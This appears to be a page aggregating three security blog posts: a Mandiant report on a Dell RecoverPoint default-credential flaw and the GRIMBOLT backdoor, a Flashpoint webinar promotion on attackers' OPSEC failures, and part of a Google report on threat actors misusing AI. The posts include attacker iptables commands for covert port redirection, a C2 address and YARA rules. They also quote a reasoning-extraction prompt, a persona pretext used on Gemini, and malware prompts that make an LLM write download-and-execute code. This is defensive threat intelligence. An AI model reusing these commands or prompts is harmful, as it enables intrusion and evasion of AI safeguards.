    This report builds on previous GTIG research into BRICKSTORM espionage activity, providing a technical deep dive into the exploitation of CVE-2026-22769 and the functionality of the GRIMBOLT malware. Mandiant identified a campaign featuring the replacement of older BRICKSTORM binaries with GRIMBOLT in September 2025. GRIMBOLT represents a shift in tradecraft; this newly identified malware, written in C# and compiled using native ahead-of-time (AOT) compilation, is designed to complicate static analysis and enhance performance on resource-constrained appliances.

    Beyond the Dell appliance exploitation, Mandiant observed the actor employing novel tactics to pivot into VMware virtual infrastructure, including the creation of "Ghost NICs" for stealthy network pivoting and the use of iptables for Single Packet Authorization (SPA).

    Dell has released remediations for CVE-2026-22769, and customers are urged to follow the guidance in the official Security Advisory. This post provides actionable hardening guidance, detection opportunities, and a technical analysis of the UNC6201 tactics, techniques, and procedures (TTPs).

    GRIMBOLT

    During analysis of compromised Dell RecoverPoint for Virtual Machines, Mandiant discovered the presence of BRICKSTORM binaries and the subsequent replacement of these binaries with GRIMBOLT in September 2025. GRIMBOLT is a C#-written foothold backdoor compiled using native ahead-of-time (AOT) compilation and packed with UPX. It provides a remote shell capability and uses the same command and control as previously deployed BRICKSTORM payload. It's unclear if the threat actor's replacement of BRICKSTORM with GRIMBOLT was part of a pre-planned life cycle iteration by the threat actor or a reaction to incident response efforts led by Mandiant and other industry partners. Unlike traditional .NET software that uses just-in-time (JIT) compilation at runtime, Native AOT-compiled binaries, introduced to .NET in 2022, are converted directly to machine-native code during compilation. This approach enhances the software’s performance on resource-constrained appliances, ensures required libraries are already present in the file, and complicates static analysis by removing the common intermediate language (CIL) metadata typically associated with C# samples.

    UNC6201 established BRICKSTORM and GRIMBOLT persistence on the Dell RecoverPoint for Virtual Machines by modifying a legitimate shell script named convert_hosts.sh to include the path to the backdoor. This shell script is executed by the appliance at boot time via rc.local.

    CVE-2026-22769

    Mandiant discovered CVE-2026-22769 while investigating multiple Dell RecoverPoint for Virtual Machines within a victim’s environment that had active C2 associated with BRICKSTORM and GRIMBOLT backdoors. During analysis of the appliances, analysts identified multiple web requests to an appliance prior to compromise using the username admin. These requests were directed to the installed Apache Tomcat Manager, used to deploy various components of the Dell RecoverPoint software, and resulted in the deployment of a malicious WAR file containing a SLAYSTYLE web shell.

    After analyzing various configuration files belonging to Tomcat Manager, we identified a set of hard-coded default credentials for the admin user in /home/kos/tomcat9/tomcat-users.xml. Using these credentials, a threat actor could authenticate to the Dell RecoverPoint Tomcat Manager, upload a malicious WAR file using the /manager/text/deploy endpoint, and then execute commands as root on the appliance.

    The earliest identified exploitation activity of this vulnerability occurred in mid-2024.

    Newly Observed VMware Activity

    During the course of the recent investigations, Mandiant observed continued compromise of VMware virtual infrastructure by the threat actor as previously reported by Mandiant, CrowdStrike, and CISA. Additionally, several new TTPs were discovered that haven’t been previously reported on.

    Ghost NICs

    Mandiant discovered the threat actor creating new temporary network ports on existing virtual machines running on an ESXi server. Using these network ports, the threat actor then pivoted to various internal and software-as-a-service (SaaS) infrastructures used by the affected organizations.

    iptables proxying

    While analyzing compromised vCenter appliances, Mandiant recovered several commands from Systemd Journal executed by the threat actor using a deployed SLAYSTYLE web shell. These iptable commands were used for Single Packet Authorization and consisted of:

    • Monitoring incoming traffic on port 443 for a specific HEX string

    • Adding the source IP of that traffic to a list and if the IP is on the list and connects to port 10443, the connection is ACCEPTED

    • Once the initial approved traffic comes in to port 10443, any subsequent traffic is automatically redirected

    • For the next 300 seconds (five minutes), any traffic to port 443 is silently redirected to port 10443 if the IP is on the approved list

    iptables -I INPUT -i eth0 -p tcp --dport 443 -m string --hex-string <HEX_STRING>
    iptables -A port_filter -i eth0 -p tcp --dport 10443 --syn -m recent --rcheck --name ipt -j ACCEPT
    iptables -t nat -N IPT
    iptables -t nat -A IPT -p tcp -j REDIRECT --to-ports 10443
    iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 --syn -m recent --rcheck --name ipt --seconds 300 -j IPT

    Remediation

    The following investigative guide can assist defenders in analyzing Dell RecoverPoint for Virtual Machines

    Forensic Analysis of Dell RecoverPoint Disk Image

    The following artifacts are high-value sources of evidence for incident responders conducting full disk image analysis of Dell RecoverPoint for Virtual Machines.

    • Web logs for Tomcat Manager are stored in /home/kos/auditlog/fapi_cl_audit_log.log. Check log file for any instances of requests to /manager. Any instances of those requests should be considered suspicious

      • Any requests for PUT /manager/text/deploy?path=/<MAL_PATH>&update=true are potentially malicious. MAL_PATH will be the path where a potentially malicious WAR file was uploaded

    • Uploaded WAR files are typically stored in /var/lib/tomcat9

    • Compiled artifacts for uploaded WAR files are located in /var/cache/tomcat9/Catalina

    • Tomcat application logs located in /var/log/tomcat9/

      • Catalina - investigate any org.apache.catalina.startup.HostConfig.deployWAR and org.apache.catalina.startup.HostConfig.deployWAR events

      • Localhost - Contains additional events associated with WAR deployment and any exceptions generated by malicious WAR and embedded files 

    • Persistence for BRICKSTORM and GRIMBOLT backdoors on Dell RecoverPoint for Virtual Machines was established by modifying /home/kos/kbox/src/installation/distribution/convert_hosts.sh to include the path to the backdoor

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

    File Indicators

    Family

    File Name

    SHA256

    GRIMBOLT 

    support

    24a11a26a2586f4fba7bfe89df2e21a0809ad85069e442da98c37c4add369a0c

    GRIMBOLT

    out_elf_2

    dfb37247d12351ef9708cb6631ce2d7017897503657c6b882a711c0da8a9a591

    SLAYSTYLE

    default_jsp.java

    92fb4ad6dee9362d0596fda7bbcfe1ba353f812ea801d1870e37bfc6376e624a

    BRICKSTORM

    N/A

    aa688682d44f0c6b0ed7f30b981a609100107f2d414a3a6e5808671b112d1878

    BRICKSTORM

    splisten

    2388ed7aee0b6b392778e8f9e98871c06499f476c9e7eae6ca0916f827fe65df

    BRICKSTORM

    N/A

    320a0b5d4900697e125cebb5ff03dee7368f8f087db1c1570b0b62f5a986d759

    BRICKSTORM

    N/A

    90b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035

    BRICKSTORM

    N/A

    45313a6745803a7f57ff35f5397fdf117eaec008a76417e6e2ac8a6280f7d830

    Network Indicators

    Family

    Indicator

    Type

    GRIMBOLT

    wss://149.248.11.71/rest/apisession

    C2 Endpoint

    GRIMBOLT

    149.248.11.71

    C2 IP

    YARA Rules

    G_APT_BackdoorToehold_GRIMBOLT_1
    rule G_APT_BackdoorToehold_GRIMBOLT_1
    {
      meta:
        author = "Google Threat Intelligence Group (GTIG)"
      strings:
        $s1 = { 40 00 00 00 41 18 00 00 00 4B 21 20 C2 2C 08 23 02 }
        $s2 = { B3 C3 BB 41 0D ?? ?? ?? 00 81 02 0C ?? ?? ?? 00 }
        $s3 = { 39 08 01 49 30 A0 52 30 00 00 00 DB 40 09 00 02 00 80 65 BC 98 }
        $s4 = { 2F 00 72 00 6F 00 75 00 74 00 65 79 23 E8 03 0E 00 00 00 2F 00 70 00 72 00 6F 00 63 00 2F 00 73 00 65 00 6C 00 66 00 2F 00 65 00 78 00 65 }
      condition:
        (uint32(0) == 0x464c457f) //linux
        and all of ($s*)
    }
    G_Hunting_BackdoorToehold_GRIMBOLT_1
    rule G_Hunting_BackdoorToehold_GRIMBOLT_1
    {
        meta:
            author = "Google Threat Intelligence Group (GTIG)"
    
        strings:
            $s1 = "[!] Error : Plexor is nul" ascii wide
            $s2 = "port must within 0~6553" ascii wide
            $s3 = "[*] Disposing.." ascii wide
            $s4 = "[!] Connection error. Kill Pty" ascii wide
            $s5 = "[!] Unkown message type" ascii wide
            $s6 = "[!] Bad dat" ascii wide
        condition:
            (  
                (uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or
                uint32(0) == 0x464c457f or
                uint32(0) == 0xfeedface or
                uint32(0) == 0xcefaedfe or
                uint32(0) == 0xfeedfacf or
                uint32(0) == 0xcffaedfe or
                uint32(0) == 0xcafebabe or
                uint32(0) == 0xbebafeca or
                uint32(0) == 0xcafebabf or
                uint32(0) == 0xbfbafeca
            ) and any of them
    }
    G_APT_BackdoorWebshell_SLAYSTYLE_4
    rule G_APT_BackdoorWebshell_SLAYSTYLE_4
    {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$str1 = "<%@page import=\"java.io" ascii wide
    		$str2 = "Base64.getDecoder().decode(c.substring(1)" ascii wide
    		$str3 = "{\"/bin/sh\",\"-c\"" ascii wide
    		$str4 = "Runtime.getRuntime().exec(" ascii wide
    		$str5 = "ByteArrayOutputStream();" ascii wide
    		$str6 = ".printStackTrace(" ascii wide
    	condition:
    		$str1 at 0 and all of them
    }

    Google Security Operations (SecOps)

    Google Security Operations (SecOps) customers have access to these broad category rules and more under the “Mandiant Frontline Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

    • Web Archive File Write To Tomcat Directory

    • Remote Application Deployment via Tomcat Manager

    • Suspicious File Write To Tomcat Cache Directory

    • Kbox Distribution Script Modification

    • Multiple DNS-over-HTTPS Services Queried

    • Unknown Endpoint Generating DNS-over-HTTPS and Web Application Development Services Communication

    • Unknown Endpoint Generating Google DNS-over-HTTPS and Cloudflare Hosted IP Communication

    • Unknown Endpoint Generating Google DNS-over-HTTPS and Amazon Hosted IP Communication

    Acknowledgements

    We appreciate Dell for their collaboration against this threat. This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Jakub Jozwiak and Allan Sepillo from GTIG Research and Discovery (RAD).

    The Human Element: Turning Threat Actor OPSEC Fails into Investigative Breakthroughs

    13 February 2026 at 20:09

    Blogs

    Blog

    The Human Element: Turning Threat Actor OPSEC Fails into Investigative Breakthroughs

    In this post, we explore how the psychological traps of operational security can unmask even the most sophisticated actors.

    SHARE THIS:
    Default Author Image
    February 13, 2026
    Table Of Contents

    The threat intelligence landscape is often dominated with talks of sophisticated TTPs (tactics, tools, and procedures), zero-day vulnerabilities, and ransomware. While these technical threats are formidable, they are still managed by human beings, and it is the human element that often provides the most critical breakthroughs in attributing these attacks and de-anonymizing the threat actors behind them.

    In our latest webinar, “OPSEC Fails: The Secret Weapon for People-Centric OSINT”,  Flashpoint was joined by Joshua Richards, founder of OSINT Praxis. Josh shared an intriguing case study where an attacker’s digital breadcrumbs led to a life-saving intervention. 

    Here is how OSINT techniques, leveraged by Flashpoint’s expansive data capabilities, can dismantle illegal threat actor campaigns by turning a technical investigation into a human one.

    Leveraging OPSEC as a Mindset

    In a technical context, OPSEC is a risk management process that identifies seemingly innocuous pieces of information that, when gathered by an adversary, could be pieced together to reveal a larger, sensitive picture.

    In the webinar, we break down the OPSEC mindset into three core pillars that every practitioner, and threat actor, must navigate. When these pillars fail, the investigation begins.

    • Analyzing the Signature: Every human has a digital signature, such as the way they type (stylometry), the times they are active, and the tools they prefer.
    • Identity Masking & Persona Management: This involves ensuring that your investigative identity has zero overlap with your real life. A common failure includes using the same browser for personal use and investigative research, which allows cookies to bridge the two identities.
    • Traffic Obfuscation: Even with a VPN, certain behaviors such as posting on a dark web forum and then using that same connection to check personal banking can expose an IP address, linking it to a practitioner or threat actor.

    “Effective OPSEC isn’t about the tools you use; it’s about what breadcrumbs you are leaving behind that hackers, investigation subjects, or literally anyone could find about you.”

    Joshua Richards, founder of Osint Praxis

    Leveraging the Mindset for CTI

    Understanding the OPSEC mindset allows security teams to think like the target. When we know the psychological traps attackers fall in, we know exactly where to look for their mistakes.

    AssumptionThe Mindset TrapThe Investigative Reality
    Insignificant“I’m not a high-value target; no one is looking for me.”Automated Aggression: Hackers use scripts to scan millions of accounts. You aren’t “chosen”; you are “discovered” via automation.
    Invisible“I don’t have a LinkedIn or X account, so I don’t have a footprint.”Shadow Data: Public birth records, property taxes, and historical data breaches create a footprint you didn’t even build yourself.
    Invincible“I have 2FA and complex passwords; I’m unhackable.”Session Hijacking: Infostealer malware steals “session tokens” (cookies). This allows an actor to be you in a browser without ever needing your 2FA code.

    During the webinar, Joshua shares a masterclass in how leveraging these concepts can turn a vague dark web threat into a real-world arrest. Check out the on-demand webinar to see exactly how the investigation started on Torum, a dark web forum, and ended with an arrest that saved the lives of two individuals.

    Turn the Tables Using Flashpoint

    The insights shared in this session powerfully illustrate that even the most dangerous threat actors are rarely as anonymous as they believe. Their downfall isn’t usually a failure of their technical prowess, but a failure of their mindset. By understanding these OSINT techniques, intelligence practitioners can transform a sea of digital noise into a clear path toward attribution.

    The most effective way to dismantle threats is to bridge the gap between technical indicators and human behavior. Whether your teams are conducting high-stakes OSINT or protecting your own organization’s digital footprint, every breadcrumb counts. By leveraging Flashpoint’s expansive threat intelligence collections and real-time data, you can stay one step ahead of adversaries. Request a demo to learn more.

    Request a demo today.

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    GTIG AI Threat Tracker: Distillation, Experimentation, and (Continued) Integration of AI for Adversarial Use

    12 February 2026 at 15:00

    Introduction

    In the final quarter of 2025, Google Threat Intelligence Group (GTIG) observed threat actors increasingly integrating artificial intelligence (AI) to accelerate the attack lifecycle, achieving productivity gains in reconnaissance, social engineering, and malware development. This report serves as an update to our November 2025 findings regarding the advances in threat actor usage of AI tools.

    By identifying these early indicators and offensive proofs of concept, GTIG aims to arm defenders with the intelligence necessary to anticipate the next phase of AI-enabled threats, proactively thwart malicious activity, and continually strengthen both our classifiers and model.

    Executive Summary

    Google DeepMind and GTIG have identified an increase in model extraction attempts or "distillation attacks," a method of intellectual property theft that violates Google's terms of service. Throughout this report we've noted steps we've taken to thwart malicious activity, including Google detecting, disrupting, and mitigating model extraction activity. While we have not observed direct attacks on frontier models or generative AI products from advanced persistent threat (APT) actors, we observed and mitigated frequent model extraction attacks from private sector entities all over the world and researchers seeking to clone proprietary logic. 

    For government-backed threat actors, large language models (LLMs) have become essential tools for technical research, targeting, and the rapid generation of nuanced phishing lures. This quarterly report highlights how threat actors from the Democratic People's Republic of Korea (DPRK), Iran, the People's Republic of China (PRC), and Russia operationalized AI in late 2025 and improves our understanding of how adversarial misuse of generative AI shows up in campaigns we disrupt in the wild. GTIG has not yet observed APT or information operations (IO) actors achieving breakthrough capabilities that fundamentally alter the threat landscape.

    This report specifically examines:

    • Model Extraction Attacks: "Distillation attacks" are on the rise as a method for intellectual property theft over the last year.
    • AI-Augmented Operations: Real-world case studies demonstrate how groups are streamlining reconnaissance and rapport-building phishing.
    • Agentic AI: Threat actors are beginning to show interest in building agentic AI capabilities to support malware and tooling development. 
    • AI-Integrated Malware: There are new malware families, such as HONESTCUE, that experiment with using Gemini's application programming interface (API) to generate code that enables download and execution of second-stage malware.
    • Underground "Jailbreak" Ecosystem: Malicious services like Xanthorox are emerging in the underground, claiming to be independent models while actually relying on jailbroken commercial APIs and open-source Model Context Protocol (MCP) servers.

    At Google, we are committed to developing AI boldly and responsibly, which means taking proactive steps to disrupt malicious activity by disabling the projects and accounts associated with bad actors, while continuously improving our models to make them less susceptible to misuse. We also proactively share industry best practices to arm defenders and enable stronger protections across the ecosystem. Throughout this report, we note steps we've taken to thwart malicious activity, including disabling assets and applying intelligence to strengthen both our classifiers and model so it's protected from misuse moving forward. Additional details on how we're protecting and defending Gemini can be found in the white paper "Advancing Gemini’s Security Safeguards." 

    Direct Model Risks: Disrupting Model Extraction Attacks

    As organizations increasingly integrate LLMs into their core operations, the proprietary logic and specialized training of these models have emerged as high-value targets. Historically, adversaries seeking to steal high-tech capabilities used conventional computer-enabled intrusion operations to compromise organizations and steal data containing trade secrets. For many AI technologies where LLMs are offered as services, this approach is no longer required; actors can use legitimate API access to attempt to "clone" select AI model capabilities.

    During 2025, we did not observe any direct attacks on frontier models from tracked APT or information operations (IO) actors. However, we did observe model extraction attacks, also known as distillation attacks, on our AI models, to gain insights into a model's underlying reasoning and chain-of-thought processes.

    What Are Model Extraction Attacks? 

    Model extraction attacks (MEA) occur when an adversary uses legitimate access to systematically probe a mature machine learning model to extract information used to train a new model. Adversaries engaging in MEA use a technique called knowledge distillation (KD) to take information gleaned from one model and transfer the knowledge to another. For this reason, MEA are frequently referred to as "distillation attacks."

    Model extraction and subsequent knowledge distillation enable an attacker to accelerate AI model development quickly and at a significantly lower cost. This activity effectively represents a form of intellectual property (IP) theft.

    Knowledge distillation (KD) is a common machine learning technique used to train "student" models from pre-existing "teacher" models. This often involves querying the teacher model for problems in a particular domain, and then performing supervised fine tuning (SFT) on the result or utilizing the result in other model training procedures to produce the student model. There are legitimate uses for distillation, and Google Cloud has existing offerings to perform distillation. However, distillation from Google's Gemini models without permission is a violation of our Terms of Service, and Google continues to develop techniques to detect and mitigate these attempts.

    Illustration of model extraction attacks

    Figure 1: Illustration of model extraction attacks

    Google DeepMind and GTIG identified and disrupted model extraction attacks, specifically attempts at model stealing and capability extraction emanating from researchers and private sector companies globally.

    Case Study: Reasoning Trace Coercion

    A common target for attackers is Gemini's exceptional reasoning capability. While internal reasoning traces are typically summarized before being delivered to users, attackers have attempted to coerce the model into outputting full reasoning processes.

    One identified attack instructed Gemini that the "... language used in the thinking content must be strictly consistent with the main language of the user input."

    Analysis of this campaign revealed:

    Scale: Over 100,000 prompts identified.

    Intent: The breadth of questions suggests an attempt to replicate Gemini's reasoning ability in non-English target languages across a wide variety of tasks.

    Outcome: Google systems recognized this attack in real time and lowered the risk of this particular attack, protecting internal reasoning traces.

    Table 1: Results of campaign analysis

    Model Extraction and Distillation Attack Risks

    Model extraction and distillation attacks do not typically represent a risk to average users, as they do not threaten the confidentiality, availability, or integrity of AI services. Instead, the risk is concentrated among model developers and service providers.

    Organizations that provide AI models as a service should monitor API access for extraction or distillation patterns. For example, a custom model tuned for financial data analysis could be targeted by a commercial competitor seeking to create a derivative product, or a coding model could be targeted by an adversary wishing to replicate capabilities in an environment without guardrails.

    Mitigations

    Model extraction attacks violate Google's Terms of Service and may be subject to takedowns and legal action. Google continuously detects, disrupts, and mitigates model extraction activity to protect proprietary logic and specialized training data, including with real-time proactive defenses that can degrade student model performance. We are sharing a broad view of this activity to help raise awareness of the issue for organizations that build or operate their own custom models.

    Highlights of AI-Augmented Adversary Activity

    A consistent finding over the past year is that government-backed attackers misuse Gemini for coding and scripting tasks, gathering information about potential targets, researching publicly known vulnerabilities, and enabling post-compromise activities. In Q4 2025, GTIG's understanding of how these efforts translate into real-world operations improved as we saw direct and indirect links between threat actor misuse of Gemini and activity in the wild.

    Threat actors are leveraging AI across all stages of the attack cycle

    Figure 2: Threat actors are leveraging AI across all stages of the attack lifecycle

    Supporting Reconnaissance and Target Development 

    APT actors used Gemini to support several phases of the attack lifecycle, including a focus on reconnaissance and target development to facilitate initial compromise. This activity underscores a shift toward AI-augmented phishing enablement, where the speed and accuracy of LLMs can bypass the manual labor traditionally required for victim profiling. Beyond generating content for phishing lures, LLMs can serve as a strategic force multiplier during the reconnaissance phase of an attack, allowing threat actors to rapidly synthesize open-source intelligence (OSINT) to profile high-value targets, identify key decision-makers within defense sectors, and map organizational hierarchies. By integrating these tools into their workflow, threat actors can move from initial reconnaissance to active targeting at a faster pace and broader scale.  

    • UNC6418, an unattributed threat actor, misused Gemini to conduct targeted intelligence gathering, specifically seeking out sensitive account credentials and email addresses. Shortly after, GTIG observed the threat actor target all these accounts in a phishing campaign focused on Ukraine and the defense sector. Google has taken action against this actor by disabling the assets associated with this activity.

    • Temp.HEX, a PRC-based threat actor, misused Gemini and other AI tools to compile detailed information on specific individuals, including targets in Pakistan, and to collect operational and structural data on separatist organizations in various countries. While we did not see direct targeting as a result of this research, shortly after the threat actor included similar targets in Pakistan in their campaign. Google has taken action against this actor by disabling the assets associated with this activity.

    Phishing Augmentation

    Defenders and targets have long relied on indicators such as poor grammar, awkward syntax, or lack of cultural context to help identify phishing attempts. Increasingly, threat actors now leverage LLMs to generate hyper-personalized, culturally nuanced lures that can mirror the professional tone of a target organization or local language. 

    This capability extends beyond simple email generation into "rapport-building phishing," where models are used to maintain multi-turn, believable conversations with victims to build trust before a malicious payload is ever delivered. By lowering the barrier to entry for non-native speakers and automating the creation of high-quality content, adversaries can largely erase those "tells" and improve the effectiveness of their social engineering efforts.

    • The Iranian government-backed actor APT42 leveraged generative AI models, including Gemini, to significantly augment reconnaissance and targeted social engineering. APT42 misuses Gemini to search for official emails for specific entities and conduct reconnaissance on potential business partners to establish a credible pretext for an approach. This includes attempts to enumerate the official email addresses for specific entities and to conduct research to establish a credible pretext for an approach. By providing Gemini with the biography of a target, APT42 misused Gemini to craft a good persona or scenario to get engagement from the target. As with many threat actors tracked by GTIG, APT42 uses Gemini to translate into and out of local languages, as well as to better understand non-native-language phrases and references. Google has taken action against this actor by disabling the assets associated with this activity.

    • The North Korean government-backed actor UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The group used Gemini to synthesize OSINT and profile high-value targets to support campaign planning and reconnaissance. This actor's target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This activity blurs the distinction between routine professional research and malicious reconnaissance, as the actor gathers the necessary components to create tailored, high-fidelity phishing personas and identify potential soft targets for initial compromise. Google has taken action against this actor by disabling the assets associated with this activity. 

    Threat Actors Continue to Use AI to Support Coding and Tooling Development 

    State-sponsored actors continue to misuse Gemini to enhance all stages of their operations, from reconnaissance and phishing lure creation to command-and-control (C2 or C&C) development and data exfiltration. We have also observed activity demonstrating an interest in using agentic AI capabilities to support campaigns, such as prompting Gemini with an expert cybersecurity persona, or attempting to create an AI-integrated code auditing capability.

    Agentic AI refers to artificial intelligence systems engineered to operate with a high degree of autonomy, capable of reasoning through complex tasks, making independent decisions, and executing multi-step actions without constant human oversight. Cyber criminals, nation-state actors, and hacktivist groups are showing a growing interest in leveraging agentic AI for malicious purposes, including automating spear-phishing attacks, developing sophisticated malware, and conducting disruptive campaigns. While we have detected a tool, AutoGPT, advertising the alleged generation and maintenance of autonomous agents, we have not yet seen evidence of these capabilities being used in the wild. However, we do anticipate that more tools and services claiming to contain agentic AI capabilities will likely enter the underground market. 

    APT31 employed a highly structured approach by prompting Gemini with an expert cybersecurity persona to automate the analysis of vulnerabilities and generate targeted testing plans. The PRC-based threat actor fabricated a scenario, in one case trialing Hexstrike MCP tooling, and directing the model to analyze remote code execution (RCE), web application firewall (WAF) bypass techniques, and SQL injection test results against specific US-based targets. This automated intelligence gathering to identify technological vulnerabilities and organizational defense weaknesses. This activity explicitly blurs the line between a routine security assessment query and a targeted malicious reconnaissance operation. Google has taken action against this actor by disabling the assets associated with this activity.

    I'm a security researcher who is trialling out the hexstrike MCP tooling.”

    Threat actors fabricated scenarios, potentially in order to generate penetration test prompts. 

    Figure 3: Sample of APT31 prompting
    APT31's misuse of Gemini mapped across the attack lifecycle

    Figure 4: APT31's misuse of Gemini mapped across the attack lifecycle

    UNC795, a PRC-based actor, relied heavily on Gemini throughout their entire attack lifecycle. GTIG observed the group consistently engaging with Gemini multiple days a week to troubleshoot their code, conduct research, and generate technical capabilities for their intrusion activity. The threat actor's activity triggered safety systems, and Gemini did not comply with the actor's attempts to create policy-violating capabilities. 

    The group also employed Gemini to create an AI-integrated code auditing capability, likely demonstrating an interest in agentic AI utilities to support their intrusion activity. Google has taken action against this actor by disabling the assets associated with this activity.

    UNC795's misuse of Gemini mapped across the attack lifecycle

    Figure 5: UNC795's misuse of Gemini mapped across the attack lifecycle

    We observed activity likely associated with the PRC-based threat actor APT41, which leveraged Gemini to accelerate the development and deployment of malicious tooling, including for knowledge synthesis, real-time troubleshooting, and code translation. In particular, multiple times the actor gave Gemini open-source tool README pages and asked for explanations and use case examples for specific tools. Google has taken action against this actor by disabling the assets associated with this activity.

    APT41's misuse of Gemini mapped across the attack lifecycle

    Figure 6: APT41's misuse of Gemini mapped across the attack lifecycle

    In addition to leveraging Gemini for the aforementioned social engineering campaigns, the Iranian threat actor APT42 uses Gemini as an engineering platform to accelerate the development of specialized malicious tools. The threat actor is actively engaged in developing new malware and offensive tooling, leveraging Gemini for debugging, code generation, and researching exploitation techniques. Google has taken action against this actor by disabling the assets associated with this activity.

    APT42's misuse of Gemini mapped across the attack lifecycle

    Figure 7: APT42's misuse of Gemini mapped across the attack lifecycle

    Mitigations

    These activities triggered Gemini's safety responses, and Google took additional, broader action to disrupt the threat actors' campaigns based on their operational security failures. Additionally, we've taken action against these actors by disabling the assets associated with this activity and making updates to prevent further misuse. Google DeepMind has used these insights to strengthen both classifiers and the model itself, enabling it to refuse to assist with these types of attacks moving forward.

    Using Gemini to Support Information Operations

    GTIG continues to observe IO actors use Gemini for productivity gains (research, content creation, localization, etc.), which aligns with their previous use of Gemini. We have identified Gemini activity that indicates threat actors are soliciting the tool to help create articles, generate assets, and aid them in coding. However, we have not identified this generated content in the wild. None of these attempts have created breakthrough capabilities for IO campaigns. Threat actors from China, Iran, Russia, and Saudi Arabia are producing political satire and propaganda to advance specific ideas across both digital platforms and physical media, such as printed posters.

    Mitigations

    For observed IO campaigns, we did not see evidence of successful automation or any breakthrough capabilities. These activities are similar to our findings from January 2025 that detailed how bad actors are leveraging Gemini for productivity gains, rather than novel capabilities. We took action against IO actors by disabling the assets associated with these actors' activity, and Google DeepMind used these insights to further strengthen our protections against such misuse. Observations have been used to strengthen both classifiers and the model itself, enabling it to refuse to assist with this type of misuse moving forward.

    Continuing Experimentation with AI-Enabled Malware 

    GTIG continued to observe threat actors experiment with AI to implement novel capabilities in malware families in late 2025. While we have not encountered experimental AI-enabled techniques resulting in revolutionary paradigm shifts in the threat landscape, these proof-of-concept malware families are early indicators of how threat actors can implement AI techniques as part of future operations. We expect this exploratory testing will increase in the future.

    In addition to continued experimentation with novel capabilities, throughout late 2025 GTIG observed threat actors integrating conventional AI-generated capabilities into their intrusion operations such as the COINBAIT phishing kit. We expect threat actors will continue to incorporate AI throughout the attack lifecycle including: supporting malware creation, improving pre-existing malware, researching vulnerabilities, conducting reconnaissance, and/or generating lure content.

    Outsourcing Functionality: HONESTCUE

    In September 2025, GTIG observed malware samples, which we track as HONESTCUE, leveraging Gemini's API to outsource functionality generation. Our examination of HONESTCUE malware samples indicates the adversary's incorporation of AI is likely designed to support a multi-layered approach to obfuscation by undermining traditional network-based detection and static analysis. 

    HONESTCUE is a downloader and launcher framework that sends a prompt via Google Gemini's API and receives C# source code as the response. Notably, HONESTCUE shares capabilities similar to PROMPTFLUX's "just-in-time" (JIT) technique that we previously observed; however, rather than leveraging an LLM to update itself, HONESTCUE calls the Gemini API to generate code that operates the "stage two" functionality, which downloads and executes another piece of malware. Additionally, the fileless secondary stage of HONESTCUE takes the C# source code received from the Gemini API and uses the legitimate .NET CSharpCodeProvider framework to compile and execute the payload directly in memory. This approach leaves no payload artifacts on the disk. We have also observed the threat actor use content delivery networks (CDNs) like Discord CDN to host the final payloads.

    HONESTCUE malware

    Figure 8: HONESTCUE malware

    We have not associated this malware with any existing clusters of threat activity; however, we suspect this malware is being developed by developers who possess a modicum of technical expertise. Specifically, the small iterative changes across many samples as well as the single VirusTotal submitter, potentially testing antivirus capabilities, suggests a singular actor or small group. Additionally, the use of Discord to test payload delivery and the submission of Discord Bots indicates an actor with limited technical sophistication. The consistency and clarity of the architecture coupled with the iterative progression of the examined malware samples strongly suggest this is a single actor or small group likely in the proof-of-concept stage of implementation. 

    HONESTCUE's use of a hard-coded prompt is not malicious in its own right, and, devoid of any context related to malware, it is unlikely that the prompt would be considered "malicious." Outsourcing a facet of malware functionality and leveraging an LLM to develop seemingly innocuous code that fits into a bigger, malicious construct demonstrates how threat actors will likely embrace AI applications to augment their campaigns while bypassing security guardrails.

    Can you write a single, self-contained C# program? It should contain a class named AITask with a static Main method. The Main method should use System.Console.WriteLine to print the message 'Hello from AI-generated C#!' to the console. Do not include any other code, classes, or methods.

    Figure 9: Example of a hard-coded prompt

    Write a complete, self-contained C# program with a public class named 'Stage2' and a static Main method. This method must use 'System.Net.WebClient' to download the data from the URL. It must then save this data to a temporary file in the user's temp directory using 'System.IO.Path.GetTempFileName()' and 'System.IO.File.WriteAllBytes'. Finally, it must execute this temporary file as a new process using 'System.Diagnostics.Process.Start'.

    Figure 10: Example of a hard-coded prompt

    Write a complete, self-contained C# program with a public class named 'Stage2'. It must have a static Main method. This method must use 'System.Net.WebClient' to download the contents of the URL \"\" into a byte array. After downloading, it must load this byte array into memory as a .NET assembly using 'System.Reflection.Assembly.Load'. Finally, it must execute the entry point of the newly loaded assembly. The program must not write any files to disk and must not have any other methods or classes.

    Figure 11: Example of a hard-coded prompt

    AI-Generated Phishing Kit: COINBAIT

    In November 2025, GTIG identified COINBAIT, a phishing kit, whose construction was likely accelerated by AI code generation tools, masquerading as a major cryptocurrency exchange for credential harvesting. Based on direct infrastructure overlaps and the use of attributed domains, we assess with high confidence that a portion of this activity overlaps with UNC5356, a financially motivated threat cluster that makes use of SMS- and phone-based phishing campaigns to target clients of financial organizations, cryptocurrency-related companies, and various other popular businesses and services. 

    An examination of the malware samples indicates the kit was built using the AI-powered platform Lovable AI based on the use of the lovableSupabase client and lovable.app for image hosting.

    • By hosting content on a legitimate, trusted service, the actor increases the likelihood of bypassing network security filters that would otherwise block the suspicious primary domain.

    • The phishing kit was wrapped in a full React Single-Page Application (SPA) with complex state management and routing. This complexity is indicative of code generated from high-level prompts (e.g., "Create a Coinbase-style UI for wallet recovery") using a framework like Lovable AI. 

    • Another key indicator of LLM use is the presence of verbose, developer-oriented logging messages directly within the malware's source code. These messages—consistently prefixed with "? Analytics:"—provide a real-time trace of the kit's malicious tracking and data exfiltration activities and serve as a unique fingerprint for this code family.

    Phase

    Log Message Examples

    Initialization

    ? Analytics: Initializing...

    ? Analytics: Session created in database:

    Credential Capture

    ? Analytics: Tracking password attempt:

    ? Analytics: Password attempt tracked to database:

    Admin Panel Fetching

    ? RecoveryPhrasesCard: Fetching recovery phrases directly from database...

    Routing/Access Control

    ? RouteGuard: Admin redirected session, allowing free access to

